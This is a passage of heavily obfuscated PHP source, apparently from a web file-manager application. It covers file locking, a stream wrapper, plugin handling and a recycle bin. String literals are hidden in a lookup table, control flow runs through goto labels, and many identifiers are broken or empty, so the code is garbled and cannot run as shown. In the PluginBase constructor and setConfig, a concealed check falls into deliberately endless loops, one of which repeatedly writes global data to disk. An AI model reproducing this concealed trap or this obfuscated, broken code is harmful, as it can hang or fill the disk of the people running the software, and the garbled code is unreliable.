$ݘ; } public function fileNameAuto($, $ǜLJ, $ݩ = REPEAT_RENAME, $ = false) { $ܚ᩟ =& $_SERVER[砐]; $ = get_path_ext($ǜLJ); $ = $ ? basename($ǜLJ, $ܚ᩟[10] . $) . $ܚ᩟[2221] . $ : $ǜLJ . $ܚ᩟[430]; $ԧ = array($ܚ᩟[182] => $, $ܚ᩟[475] => 0, $ܚ᩟[32] => array($ܚ᩟[429], $)); $ = $this->field($ܚ᩟[32])->where($ԧ)->select(); $ = array_to_keyvalue($, $ܚ᩟[12], $ܚ᩟[32]); return $this->fileNameAutoGet($, $ǜLJ, $ݩ, $); } public function fileNameAutoGet($, $ր, $ÿ, $) { $ق =& $_SERVER[砐]; if ($ÿ == REPEAT_REPLACE || !$ || !in_array_not_case($ր, $) || $ && $ÿ != REPEAT_RENAME_FOLDER) { return $ր; } if ($ÿ == REPEAT_SKIP) { return !1; } $އ֩ = $ق[10] . get_path_ext($ր); $އ֩ = $އ֩ == $ق[10] || $ ? $ق[12] : $އ֩; for ($ƪ = 1; $ƪ <= count($) + 1; $ƪ++) { $䜇 = substr($ր, 0, strlen($ր) - strlen($އ֩)); $ˢ = $䜇 . "\x28{$ƪ}\51{$އ֩}"; if (!in_array_not_case($ˢ, $)) { return $ˢ; } } } } goto C; F刣: class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $ =& $_SERVER[砐]; if (self::$handle) { return self::$handle; } $밈 = $GLOBALS[$[6]][$[395]]; self::$timeout = $밈[$[886]] ? $밈[$[886]] : 10; $͡ = _get($GLOBALS[$[6]], $[887]); $ = $밈[$[872]] ? $밈[$[872]] : $[216]; if ($ == $[21] && $͡ == $[13]) { $ = $[216]; } switch ($) { case $[875]: self::$handle = new CacheLockRedis(); break; case $[876]: self::$handle = new CacheLockMemcached(); break; case $[21]: self::$handle = new CacheLockDatabase(); break; case $[216]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($[888], $[889]); } return self::$handle; } private static function key($) { return $_SERVER[砐][890] . Cache::key($); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($Ũś = '') { self::$errorMsg = $Ũś; } public static function lockGlobal($氺, $) { return self::lock($氺, $, !0); } public static function lock($, $ޱ = false, $Ϛ = false) { $ =& $_SERVER[砐]; $쁕 = self::init(); $ = self::key($); $ޱ = $ޱ ? $ޱ : self::$timeout; $䔕 = timeFloat(); $ʣ = $쁕->lock($, $ޱ); $ժ = timeFloat(); if (!$ʣ) { $ = "\x6c\x6f\x63\x6b\40\145\x72\x72\157\x72\x3b\153\x65\171\x3d{$}\73\164\x69\x6d\145\x3d{$ޱ}\73" . self::$errorMsg . $[73] . get_caller_msg(); $몢 = LNG($[891]) . "\50{$ޱ}\163\x29\56" . LNG($[892]); $몢 .= $[893]; if (is_string(self::$errorMsg) && self::$errorMsg) { $몢 = $몢 . $[894] . self::$errorMsg; } write_log($[895] . sprintf($[896], timeFloat() - $䔕) . $[897] . $ . $[898] . error_get_last(), $[889]); show_json($몢, !1); } if (!$Ϛ) { self::$lockItem[$] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ґ = number_format(timeFloat() - $ժ, 3); write_log($[899] . $ . $[900] . $ґ, $[889]); } return $ʣ; } public static function lockGet($ې) { $گд = self::key($ې); if (self::$lockItem[$گд]) { return self::$lockItem[$گд]; } return self::init()->lockGet($گд); } public static function unlock($̈) { $ =& $_SERVER[砐]; $ = self::key($̈); self::$lockItem[$] = null; self::init()->unlock($); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[901] . $̈, $[889]); } return; } public static function unlockRuntime() { $ =& $_SERVER[砐]; $Ț = self::init(); $в = !1; foreach (self::$lockItem as $ => $ܼ) { if (!$ܼ) { continue; } $Ț->unlock($); if (!$в) { $в = !0; write_log($[902] . $ . $[73] . get_caller_msg(), $[889]); continue; } write_log($[902] . $, $[889]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($[903] . $ . $[904] . ACTION, $[889]); } } public static function fileLock($) { $ =& $_SERVER[砐]; if (!$GLOBALS[$[905]]) { $GLOBALS[$[905]] = array(); } $GLOBALS[$[905]][$] = !1; $ = fopen(DATA_PATH . $ . $[906], $[907]); if (!$) { return !1; } $GLOBALS[$[905]][$] = $; if (flock($, LOCK_EX)) { return !0; } self::unlock($); show_json($[908], !1); return !1; } public static function fileUnlock($όۂ) { $͖ =& $_SERVER[砐]; $ߓݍ = $GLOBALS[$͖[905]][$όۂ]; if (!$ߓݍ) { return; } $GLOBALS[$͖[905]][$όۂ] = !1; flock($ߓݍ, LOCK_UN); fclose($ߓݍ); } public static function fileUnlockAll() { $ =& $_SERVER[砐]; if (!$GLOBALS[$[905]]) { return; } foreach ($GLOBALS[$[905]] as $Ÿ => $) { if (!$) { continue; } $GLOBALS[$[905]][$Ÿ] = !1; flock($, LOCK_UN); fclose($); } $GLOBALS[$[905]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ =& $_SERVER[砐]; $Ҝ = $GLOBALS[$[6]][$[395]]; self::$cachePath = $Ҝ[$[216]][$[86]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($, $ = 0) { $ =& $_SERVER[砐]; $ɿ = microtime(!0); $ = $ɿ + $ + 0.0001; $ = rtrim(self::$cachePath, $[8]) . $[909] . md5($) . $[906]; if (file_exists($) && filemtime($) && filemtime($) < time() - 10) { @unlink($); } do { if (file_exists($)) { cacheLockWait(); continue; } $ļ = fopen($, $[910]); if (!$ļ) { return !1; } $Ƴ = flock($ļ, LOCK_EX | LOCK_NB); self::$caches[$] = array($[911] => $ļ, $[216] => $); fwrite($ļ, $); clearstatcache(); if ($ļ && $Ƴ) { return !0; } cacheLockWait(); } while (microtime(!0) < $); $this->unlock($); return !1; } public function lockGet($Ɨ羵) { $ӝ =& $_SERVER[砐]; $ҍ = rtrim(self::$cachePath, $ӝ[8]) . $ӝ[909] . md5($Ɨ羵) . $ӝ[906]; return file_exists($ҍ); } public function unlock($) { $򝩟 =& $_SERVER[砐]; $ = self::$caches[$]; if (!$) { return; } @flock($[$򝩟[911]], LOCK_UN); @fclose($[$򝩟[911]]); @unlink($[$򝩟[216]]); unset(self::$caches[$]); } } goto DՔ; a뿣ރ: class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($ŧ, $ⳗՌ = '') { $this->info = $this->info($ŧ); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[砐][86]]; $this->pathOpen = $ŧ; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$ŧ])) { self::$_chunkBuffer[$ŧ] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($վ) { $ = $this->fileSubstr($this->pose, $վ); $this->pose += strlen($); return $; } public function stream_tell() { return $this->pose; } public function stream_seek($ߒ, $) { $ =& $_SERVER[砐]; if ($ == SEEK_SET) { $this->pose = $ߒ; } else { if ($ == SEEK_CUR) { $this->pose += $ߒ; } else { if ($ == SEEK_END) { $this->pose = $this->info[$[78]] + intval($ߒ); } } } if ($ߒ < 0) { $this->pose = $this->info[$[78]] + $ߒ; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[砐][78]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($ݬ, $) { $ҭ =& $_SERVER[砐]; $Ԁ = $this->info($ݬ); return array($ҭ[1542] => 0, $ҭ[1543] => 0, $ҭ[16] => 32768 + 511, $ҭ[1544] => 0, $ҭ[1545] => 0, $ҭ[1546] => 0, $ҭ[1547] => 0, $ҭ[78] => $Ԁ[$ҭ[78]], $ҭ[1548] => $Ԁ[$ҭ[1414]], $ҭ[1504] => $Ԁ[$ҭ[87]], $ҭ[1503] => $Ԁ[$ҭ[217]], $ҭ[1549] => 0, $ҭ[1550] => 0); } static $fileInfo = array(); public function info($ɪߕ) { $Ϯ = $_SERVER[砐][1551]; if (isset(self::$fileInfo[$ɪߕ])) { return self::$fileInfo[$ɪߕ]; } if (substr($ɪߕ, 0, strlen($Ϯ)) != $Ϯ) { return !1; } self::$fileInfo[$ɪߕ] = IO::info(substr($ɪߕ, strlen($Ϯ))); return self::$fileInfo[$ɪߕ]; } public static function read($, $ʘ, $) { if (!isset(self::$_fopenCache[$])) { $ = new StreamWrapperIO(); $->stream_open($); self::$_fopenCache[$] = $; } $ = self::$_fopenCache[$]; return $->fileSubstr($ʘ, $); } public static function _read($Țޯ, $ۣ, $) { $Ǐ΋ =& $_SERVER[砐]; $ = fopen($Țޯ, $Ǐ΋[1418]); if (!$) { return $Ǐ΋[12]; } $ = 8192; fseek($, $ۣ, SEEK_SET); $ = $Ǐ΋[12]; $曶 = 0; while ($曶 < $) { $đ = min($, $ - $曶); $ .= fread($, $đ); $曶 += $đ; } fclose($); return $; } public function fileSubstr($, $ߒ) { $ =& $_SERVER[砐]; $ = $this->info[$[78]]; $ā̒ = $; $ӟ = $ߒ; if ($ < 0) { $ = $ + $; } if ($ߒ === !1) { $ߒ = $ - $; } if ($ + $ߒ > $) { $ߒ = $ - $; } if ($ߒ <= 0) { return $[12]; } if ($ < 0 || $ >= $ || $ߒ <= 0 || $ߒ > 1024 * 1024 * 10) { throw new Exception("\151\157\106\151\154\x65\x52\145\141\144\x20\145\162\x72\157\x72\41\40\x73\x74\141\x72\164\75{$}\x3b\x6c\x65\156\x67\164\x68\75{$ߒ}\73\40\163\x69\x7a\145\x3d{$}\73"); } $ = 64 * 1024; $ =& self::$_chunkBuffer[$this->path]; if (!$) { $ = array(); } $ = 0; $ = 0; $ = $[12]; foreach ($ as $ => $) { $ = intval($); $ = $ + strlen($); if ($ >= $) { continue; } if ($ >= $ && $ + $ߒ <= $) { return substr($, $ - $, $ߒ); } break; } if (count($) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($[1552], $[1553] . count($) . "\73\x73\x74\x61\162\164\x3d{$}\54\154\x65\x6e\147\x74\150\75{$ߒ}\73\x70\x6f\x73\x65\72{$}\176{$}"); throw new Exception($[1554]); } $ͷ = intval($ / $) * $; $ë = ceil(($ + $ߒ) / $) * $ - $ͷ; $ = IO::fileSubstr($this->path, $ͷ, $ë); $[$ͷ . $[12]] = $; ksort($); $ = substr($, $ - $ͷ, $ߒ); return $; } private function log($Ʒ, $؄) { $ =& $_SERVER[砐]; $ = timeFloat() - $this->timeStart; write_log(sprintf($[1555], $Ʒ, $this->info[$[32]], $, $؄), $[1233]); } } class Message { function __construct() { } public function send($Ն = '', $˽ = array(), $߷ = "\x74\145\x78\164") { $˷ =& $_SERVER[砐]; $ۺ = array($˷[33] => $˷[1556], $˷[799] => $Ն); if (in_array($߷, array($˷[1556], $˷[1557]))) { $ۺ[$˷[33]] = $߷; } $˽ = array($˷[549] => isset($˽[$˷[549]]) ? $˽[$˷[549]] : $˷[12], $˷[632] => isset($˽[$˷[632]]) ? $˽[$˷[632]] : $˷[12]); if (empty($Ն) || empty($˽[$˷[549]]) && empty($˽[$˷[632]])) { return !1; } $ڿ = array($˷[1497] => $ۺ, $˷[1558] => $˽); Hook::trigger($˷[1559], $ڿ); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $å =& $_SERVER[砐]; if (!isset($_SERVER[$å[922]]) || !isset($_SERVER[$å[923]])) { $֞ = $å[924]; $鯞 = $å[925]; $͈ = $_SERVER[$å[926]] . $å[927]; $ԋ = $鯞($͈); $ = explode($å[248], $ԋ); if (count($) < $å[671]) { $ = $å[928]; $(); } $ݴ = $å[929]; $ݴ($_SERVER[$å[930]]); $ה޽ = 1; for ($ = $ה޽; $ > 0; $++) { $ݴ = json_encode($GLOBALS[$å[462]]); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($å[1560]); $this->pluginName = str_replace($å[1560], $å[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $å[8]; $this->pluginApi = appHostGet() . $å[1561] . $this->pluginName . $å[8]; $this->pluginHost = $config[$å[1562]] . $this->pluginName . $å[8]; $this->pluginHostDefault = $config[$å[1562]] . $this->pluginName . $å[8]; $ = $config[$å[1563]]; if ($ && strpos($å[50] . $ . $å[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$å[1564]] . $this->pluginName . $å[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[砐][1565]); } protected function assign($҅, $ޮ = false) { if (is_array($҅)) { $this->values = array_merge($this->values, $҅); } else { $this->values[$҅] = $ޮ; } } protected function display($) { extract($this->values); require $; } final function hookRegist($Ű) { $this->modelPlugin->appRegist($this->pluginName, $Ű); } final function appIcon() { $Г =& $_SERVER[砐]; $ūș̝ = $this->appPackage(); $ = $Г[12]; if (isset($ūș̝[$Г[460]])) { if (isset($ūș̝[$Г[460]][$Г[1566]])) { $ = $Г[1567] . $ūș̝[$Г[460]][$Г[1566]] . $Г[1568]; } else { if ($ūș̝[$Г[460]][$Г[1569]]) { $ = $Г[1570] . $ūș̝[$Г[460]][$Г[1569]] . $Г[1571]; } } } return $; } final function fileCanView($) { $ =& $_SERVER[砐]; if (request_url_safe($)) { return !0; } if ($this->isShare($)) { return !0; } if (!KodUser::isRoot() && !KodUser::isLogin()) { $љ = $[1572] . rawurlencode(this_url()); show_tips(LNG($[1573]) . $[1574] . $љ . $[1575] . LNG($[1576]) . $[1577], !1); } if (!Action($[1578])->authCan($[1579])) { show_tips(LNG($[1580]) . $[1581], !1); } ActionCall($[1582], $); } final function isShare($ўʛ) { $ˑ = KodIO::parse($ўʛ); return $ˑ[$_SERVER[砐][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($) { if (request_url_safe($)) { return $; } if (!$this->isShare($)) { $ = $this->filePath($, !1); } return Action($_SERVER[砐][1225])->linkOut($); } public function filePathLinkOut($͒) { if (request_url_safe($͒)) { return $͒; } $this->fileCanView($͒); return Action($_SERVER[砐][1225])->link($͒); } final function filePath($ڔ, $ = true, $ܽ = false) { $ =& $_SERVER[砐]; $Ѐ = $this->filePathGet($ڔ, $); if (!$this->fileInfo) { show_tips(LNG($[107]), !1); } if ($ܽ && isset($this->fileInfo[$[511]]) && $this->fileInfo[$[511]]) { $ˮ = Model($[514])->fileInfo($this->fileInfo[$[511]]); if (!$ˮ || !IO::exist($ˮ[$[86]])) { show_tips(LNG($[107]) . $[1583]); } } Hook::trigger($[1584], $Ѐ); return $Ѐ; } final function filePathGet($, $Ǟ = true) { $ۡ =& $_SERVER[砐]; if ($ܜ = $this->checkSharePath($, $Ǟ)) { return $ܜ; } $this->fileCanView($); if (request_url_safe($)) { $ = parse_url_query($); if (isset($[$ۡ[1585]]) && isset($[$ۡ[220]])) { $ս = Mcrypt::decode($[$ۡ[220]], Model($ۡ[815])->get($ۡ[816])); if ($ս) { $this->fileInfo = IO::info($ս); $this->fileInfo[$ۡ[1586]] = $; $this->cachePath = $this->pluginCachePath($ۡ[12], $Ǟ); return $ս; } } $ = $this->_cacheHttpFile($, $Ǟ); $this->fileInfo = IO::info($); } else { $this->fileInfo = IO::info($); $this->cachePath = $this->pluginCachePath($ۡ[12], $Ǟ); } return $; } final function _cacheHttpFile($ĩ, $ = true) { $ =& $_SERVER[砐]; $ = parse_url_query($ĩ); $ƭ = get_path_ext($ĩ); if (isset($[$[32]]) && $[$[32]]) { $ƭ = get_path_ext($[$[32]]); } $ɟ = hash_path($ĩ) . $[10] . $ƭ; $this->cachePath = $this->pluginCachePath($ ? $ɟ : $[12]); $ = IO::fileNameExist($this->cachePath, $ɟ); if ($) { return KodIO::make($); } $ƺߨ = rtrim($this->cachePath, $[8]) . $[8] . $ɟ; return $this->pluginCacheFileSet($ƺߨ, file_get_contents_nossl($ĩ)); } final function checkSharePath($԰, $񜌎 = true) { $ =& $_SERVER[砐]; if (!$this->isShare($԰)) { return !1; } $ = Action($[1225])->sharePathInfo($԰); if (!is_array($) || !isset($[$[86]])) { show_json(LNG($[1587]), !1); } $this->fileInfo = $; $this->cachePath = $this->pluginCachePath(!1, $񜌎); return $[$[86]]; } final function pluginCachePath($䇀 = '', $ = false) { $ =& $_SERVER[砐]; if ($ && is_array($this->fileInfo)) { $䇀 = kodIO::hashPath($this->fileInfo); } $Ϟ = rtrim(IO_PATH_SYSTEM_TEMP . $[1588] . $this->pluginName . $[8] . $䇀, $[8]); $ = IO::infoFullSimple($Ϟ); $ە = $ && is_array($) ? $[$[86]] : $[12]; if (!$ە) { $ە = IO::mkdir($Ϟ); } return $ە; } final function pluginCacheFileSet($, $ڧ = '') { $՗ =& $_SERVER[砐]; $ = IO::infoFullSimple($); if (!$) { return IO::mkfile($, $ڧ, REPEAT_REPLACE); } IO::setContent($[$՗[86]], $ڧ); return $[$՗[86]]; } final function pluginLocalFile($Գ = '') { $֑ =& $_SERVER[砐]; $ = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($)) { mk_dir($); } if (!$Գ) { return $; } $Ě = IO::info($Գ); $ = $֑[1589] . KodIO::hashPath($Ě) . $֑[10] . $Ě[$֑[177]]; if (!checkExtSafe($)) { $ = $ . $֑[1257]; } $ɣ = $ . $; if (@file_exists($ɣ)) { return $ɣ; } return IO::copy($Գ, $, 0, $); } final function appPackage() { $ȕ =& $_SERVER[砐]; if ($this->packageData) { return $this->packageData; } $ާ = $this->parseFile($this->pluginPath . $ȕ[1590]); $this->parseLang($ާ); $ = json_decode_force($ާ); if (!$) { return array(); } $Ȗ = Hook::trigger($ȕ[1591], $); if ($Ȗ && is_array($Ȗ)) { $ = $Ȗ; } $this->packageData = $; return $; } public function packageInfoGet($) { $Գ؃ = $this->appPackage(); return array_get_value($Գ؃, $); } public function packageVersion() { return $this->packageInfoGet($_SERVER[砐][1592]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[砐][1593]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[砐][1594]); } public function echoJsAssign($嶗, $Δ῔) { $this->echoJsAssignArr[$嶗] = $Δ῔; } private function parseFile($) { $ՄЬ =& $_SERVER[砐]; $ = file_get_contents_nossl($); $Č = array($ՄЬ[1595], $ՄЬ[1596], $ՄЬ[1597], $ՄЬ[1598], $ՄЬ[1599], $ՄЬ[1600], $ՄЬ[1601]); $ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$ՄЬ[91]][$ՄЬ[1602]]); foreach ($this->echoJsAssignArr as $ => $) { $Č[] = $ՄЬ[1603] . $ . $ՄЬ[1604]; $[] = is_array($) || is_object($) ? rawurlencode(json_encode($)) : $; } if (strstr($, $ՄЬ[1605])) { $ш = rawurlencode(json_encode($this->pluginLangArr)); $ = str_replace($ՄЬ[1605], $ш, $); } if (strstr($, $ՄЬ[1606])) { $ш = $ш = rawurlencode(json_encode($this->getConfig())); $ = str_replace($ՄЬ[1606], $ш, $); } $ = str_replace($Č, $, $); return $; } private function parseLang(&$ޅ) { $ל =& $_SERVER[砐]; $г = $ל[1607]; if (!strstr($ޅ, $г)) { return; } preg_match_all($ל[1608], $ޅ, $򂟈); if (!is_array($򂟈) || count($򂟈) == 0 || !is_array($򂟈[0]) || count($򂟈[0]) == 0) { return; } $֭ = array(); $ = array(); foreach ($򂟈[0] as $) { $۠ = substr($, strlen($г), -4); $ = LNG($۠); $֭[] = $; $[] = str_replace(array($ל[248], $ל[1129], $ל[388], $ל[120]), array($ל[53], $ל[53], $ל[12], $ל[1609]), $); } $ޅ = str_replace($֭, $, $ޅ); } private function parseConfig(&$) { $Ѕ =& $_SERVER[砐]; $ܓ = $Ѕ[1610]; if (!strstr($, $ܓ)) { return; } preg_match_all($Ѕ[1611], $, $ΌÊ); if (!is_array($ΌÊ) || count($ΌÊ) == 0 || !is_array($ΌÊ[0]) || count($ΌÊ[0]) == 0) { return; } $ = $this->getConfig(); $ = array(); $ީ = array(); foreach ($ΌÊ[0] as $܎ɇ) { $ = substr($܎ɇ, strlen($ܓ), -2); $[] = $܎ɇ; $ީ[] = _get($, $); } $ = str_replace($, $ީ, $); } private function parsePackage(&$) { $ =& $_SERVER[砐]; $ = $[1612]; if (!strstr($, $)) { return; } preg_match_all($[1613], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $νۦ = $this->appPackage(); $ = array(); $₸ = array(); foreach ($[0] as $) { $ = substr($, strlen($), -2); $[] = $; $₸[] = _get($νۦ, $); } $ = str_replace($, $₸, $); } final function echoFile($Ġ, $ϝ = false) { $ꟛڈ =& $_SERVER[砐]; $ = $this->pluginPath . $Ġ; if (ACT == $ꟛڈ[1614]) { echo $ꟛڈ[1615] . $this->pluginName . $ꟛڈ[8] . $Ġ . $ꟛڈ[1616]; if (!file_exists($)) { echo $ꟛڈ[1617]; return; } } $׽ = $this->parseFile($); $this->parseLang($׽); $this->parseConfig($׽); $this->parsePackage($׽); if (is_array($ϝ)) { $׽ = str_replace(array_keys($ϝ), array_values($ϝ), $׽); } echo $ꟛڈ[248] . $׽; } private function checkVersion() { $磏 =& $_SERVER[砐]; $ = $this->appPackage(); $ܫ֓ = $this->getConfig(); if ($ܫ֓[$磏[1618]] == $[$磏[1592]]) { return; } $this->regist(); $this->setConfig(array($磏[1618] => $[$磏[1592]])); } final function initLang() { $ =& $_SERVER[砐]; $ = $[1619]; $򣪵 = $this->pluginPath . $[1620]; $ = I18n::getType(); $ٟ = array(); if (file_exists($򣪵 . $ . $[884])) { $ٟ = (include $򣪵 . $ . $[884]); } else { if ($ == $[1621] && !file_exists($򣪵 . $ . $[884]) && file_exists($򣪵 . $[1622])) { $ٟ = (include $򣪵 . $[1622]); } else { if (file_exists($򣪵 . $ . $[884])) { $ٟ = (include $򣪵 . $ . $[884]); } } } if (!is_array($ٟ)) { return array(); } if (@count($ٟ) > 0) { I18n::set($ٟ); } return $ٟ; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($瘻) { $瞔 =& $_SERVER[砐]; $ = $_SERVER[$瞔[926]] . $瞔[927]; $ = $瞔[931]; if ($_SERVER[$瞔[922]] != $($)) { $ = $瞔[924]; $ = $瞔[925]; $˞ь = $_SERVER[$瞔[926]] . $瞔[927]; $ڟ = $($˞ь); $، = explode($瞔[248], $ڟ); if (count($،) < $瞔[671]) { $ƞ = $瞔[928]; $ƞ(); } $ˡ = $瞔[929]; $ˡ($_SERVER[$瞔[930]]); $ = $瞔[924]; $(); $ˡ = $瞔[1623]; $𓨟 = json_encode($GLOBALS[$瞔[1624]]); $ǵ = 1; for ($ = $ǵ; $ > 0; $++) { $ˡ(DATA_PATH . $, $𓨟); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $瘻); } public function onSetConfig($ش) { } public function onGetConfig($) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($ٟ) { if ($ٟ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ϋ = "\x70\154\x75\x67\151\156\101\165\164\150") { if (KodUser::isRoot()) { return !0; } if (!KodUser::isLogin()) { return !1; } $ې٫ = $this->getConfig(); if (!$ې٫[$ϋ]) { return !1; } return ActionCall($_SERVER[砐][1625], $ې٫[$ϋ]); } public function url($, $ = '', $Ģ = true) { $廒 =& $_SERVER[砐]; $ĉ = $this->getConfig(); $Ə = KOD_VERSION . $廒[10] . KOD_VERSION_BUILD; $ = $this->packageVersion(); $̳ = $Ə . $廒[432] . $; if (substr($, 0, 4) == $廒[151] || substr($, 0, 2) == $廒[1405]) { $Őܻ = $ . $廒[1626] . $̳; } else { if ($ == $廒[12]) { $Őܻ = $this->pluginHost . $ . $廒[1626] . $̳; } else { if ($ === $廒[77]) { $Őܻ = $this->pluginHost . $; } else { if ($ == $廒[1627]) { $Őܻ = STATIC_PATH . $ . $廒[1626] . $Ə; } else { if ($ == $廒[1628]) { $Őܻ = APP_HOST . $廒[1629] . $ . $廒[1626] . $Ə; } else { if (isset($ĉ[$])) { $Őܻ = $ĉ[$] . $ . $廒[1626] . $̳; } } } } } } if (!$Ģ) { return $Őܻ; } echo $Őܻ; } public function link($ = false, $ܽװ = '') { $ɚ =& $_SERVER[砐]; if (!$) { $this->link($ɚ[1630], $ɚ[1628]); $this->link($ɚ[1631], $ɚ[1627]); $this->link($ɚ[1632], $ɚ[1627]); $this->link($ɚ[1633], $ɚ[1627]); $this->link($ɚ[1634], $ɚ[1627]); return; } $߱ = $this->url($, $ܽװ, !1); if (substr($, -3) == $ɚ[1635]) { echo $ɚ[1636] . $߱ . $ɚ[1637] . $ɚ[248]; } else { if (substr($, -4) == $ɚ[1638]) { echo $ɚ[1639] . $߱ . $ɚ[1640] . $ɚ[248]; } } } } goto eൂ; C: class SourceRecycleModel extends ModelBase { protected $tableName = "\151\157\137\x73\157\165\x72\143\145\137\162\x65\x63\x79\143\x6c\x65"; protected $dataAuto = array(array("\143\x72\x65\x61\x74\145\124\x69\x6d\x65", "\x74\151\155\x65", "\x69\x6e\163\145\x72\164", "\x66\165\x6e\143\164\x69\157\x6e")); public function listData($ = false) { $ =& $_SERVER[砐]; $ = $ ? $ : USER_ID; $̵ = $this->where(array($[1696] => $))->select(); return array_to_keyvalue($̵, $[12], $[183]); } public function moveToRecycle($) { $ =& $_SERVER[砐]; $틻 = Model($[1384]); $ = $틻->sourceInfo($); if (!$ || $[$[475]] == $[90]) { return; } $° = array($[461] => $, $[1696] => USER_ID, $[618] => $[$[180]], $[619] => $[$[540]], $[622] => $[$[555]]); $this->add($°); $this->recycleMove($, 1); if ($[$[455]] == $[90]) { $ = array($[622] => array($[582], $[$[555]] . $ . $[583])); $틻->where($)->setField($[475], 1); } } public function clear() { $this->remove(!1); } public function remove($ȋ = false, $ = false) { $坡 =& $_SERVER[砐]; $ = $ ? $ : USER_ID; $ = Model($坡[1384]); $Ņ = $this->listData($); $ȋ = $ȋ === !1 ? !1 : $ȋ; $֋ = array(); foreach ($Ņ as $) { if ($ȋ != !1 && !in_array($, $ȋ)) { continue; } $ = $->sourceInfo($); $->remove($, !1); $ = $[$坡[180]] . $坡[11] . $[$坡[540]]; $֋[$] = array($坡[618] => $[$坡[180]], $坡[540] => $[$坡[540]]); $this->where(array($坡[183] => $))->delete(); } foreach ($֋ as $ƣ) { $->targetSpaceUpdate($ƣ[$坡[180]], $ƣ[$坡[540]]); } } public function restore($ = false) { $׀ = $this->listData(); $this->_restoreSource($׀, $); } public function removeUserAll($) { $this->remove(!1, $); } public function restoreItem($) { $this->_restoreSource(array($), array($)); } private function _restoreSource($磖֡, $싞) { $ͅ =& $_SERVER[砐]; $ͯ = Model($ͅ[1384]); $싞 = $싞 == !1 ? !1 : $싞; if (!$磖֡) { return !0; } $ = array(); foreach ($磖֡ as $ٛ) { if ($싞 != !1 && !in_array($ٛ, $싞)) { continue; } $Ⱦε = $ͯ->sourceInfo($ٛ); $烆 = $ͯ->sourceInfo($Ⱦε[$ͅ[182]]); if ($烆[$ͅ[475]] == $ͅ[90]) { continue; } $ͯ->lockMoveStart($ٛ); $this->recycleMove($ٛ, 0); if ($Ⱦε[$ͅ[455]] == $ͅ[90]) { $񻭎 = array($ͅ[622] => array($ͅ[582], $Ⱦε[$ͅ[555]] . $ٛ . $ͅ[583])); $ͯ->where($񻭎)->setField($ͅ[475], 0); $this->restoreFolderChildren($ٛ, $磖֡); } $this->where(array($ͅ[183] => $ٛ))->delete(); $ͯ->folderSizeReset($Ⱦε[$ͅ[182]]); $[] = $Ⱦε[$ͅ[182]]; if ($Ⱦε[$ͅ[455]] == $ͅ[90]) { $[] = $ٛ; } $ͯ->lockMoveEnd($ٛ); } $ͯ->updateModifyTime($); } private function restoreFolderChildren($ȋ, $՘) { $ڻ =& $_SERVER[砐]; $ԉ = Model($ڻ[1384]); $Џ = array($ڻ[183] => array($ڻ[7], array())); foreach ($՘ as $) { if ($ == $ȋ) { continue; } if (!$ԉ->isParentOf($ȋ, $)) { continue; } $ݡ = $ԉ->sourceInfo($); if ($ݡ[$ڻ[455]] == $ڻ[90]) { $Џ[] = array($ڻ[622] => array($ڻ[582], $ݡ[$ڻ[555]] . $ . $ڻ[583])); } else { $Џ[$ڻ[183]][1][] = $; } } if (!$Џ[$ڻ[183]][1]) { unset($Џ[$ڻ[183]]); } if (!$Џ) { return; } if (is_array($Џ[$ڻ[183]]) && is_array($Џ[$ڻ[183]][1])) { $Џ[$ڻ[183]][1] = array_unique($Џ[$ڻ[183]][1]); } $Џ[$ڻ[1051]] = $ڻ[2002]; $ԉ->where($Џ)->setField($ڻ[475], 1); } private function recycleMove($, $ǰ = 1) { $ =& $_SERVER[砐]; $ȅŭ = Model($[1384]); $ؒ = Model($[2222]); $ז = array($[183] => $); if ($ǰ) { $ȅŭ->where($ז)->setField($[475], 1); $ؒ->eventRecycle($, $[2223]); } else { $ = $ȅŭ->where($ז)->find(); $ = $[$[455]] == $[90]; $Ћ = $ȅŭ->fileNameAuto($[$[182]], $[$[32]], REPEAT_RENAME_FOLDER, $); if 